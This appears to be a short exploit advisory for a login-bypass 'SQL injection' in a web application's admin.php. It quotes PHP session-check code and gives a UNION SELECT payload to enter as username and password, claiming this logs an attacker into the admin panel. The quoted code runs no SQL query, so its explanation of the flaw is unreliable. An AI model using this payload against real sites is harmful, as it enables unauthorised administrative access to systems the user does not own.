Remote Login Bypass SQL Injection Vulnerability (admin.php)

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author : iLker Kandemir < ilkerkandemir <at> mynet.com >

Tnx : h0tturk,ekin0x,Dr.Max Virus,Gencnesil,Gencturk,Ajann

Vulnerable; /admin.php

-------------------------------------------------//If login in
if($_POST['password'] != NULL){ <<<---------------------[+] //do all this:

if($_POST['password'] == $ADMIN_PASS){
$_SESSION['is_admin'] = $ADMIN_PASS;
} else {
$message = 'Invalid Access';
}
}

//Check password
if($_SESSION['is_admin'] != $ADMIN_PASS){$_GET['page'] = 'login';}

if($_GET['page'] == NULL){$_GET['page'] = $_POST['page'];}

if($_GET['page'] != 'Add' && $_GET['page'] != 'login'){ <<<-------------------[+] // but the user/pass don't match

username : 1//union//select//1,2,3,4/*
password : 1//union//select//1,2,3,4/* (ADMIN_PASS)

Panel: /admin.php logged.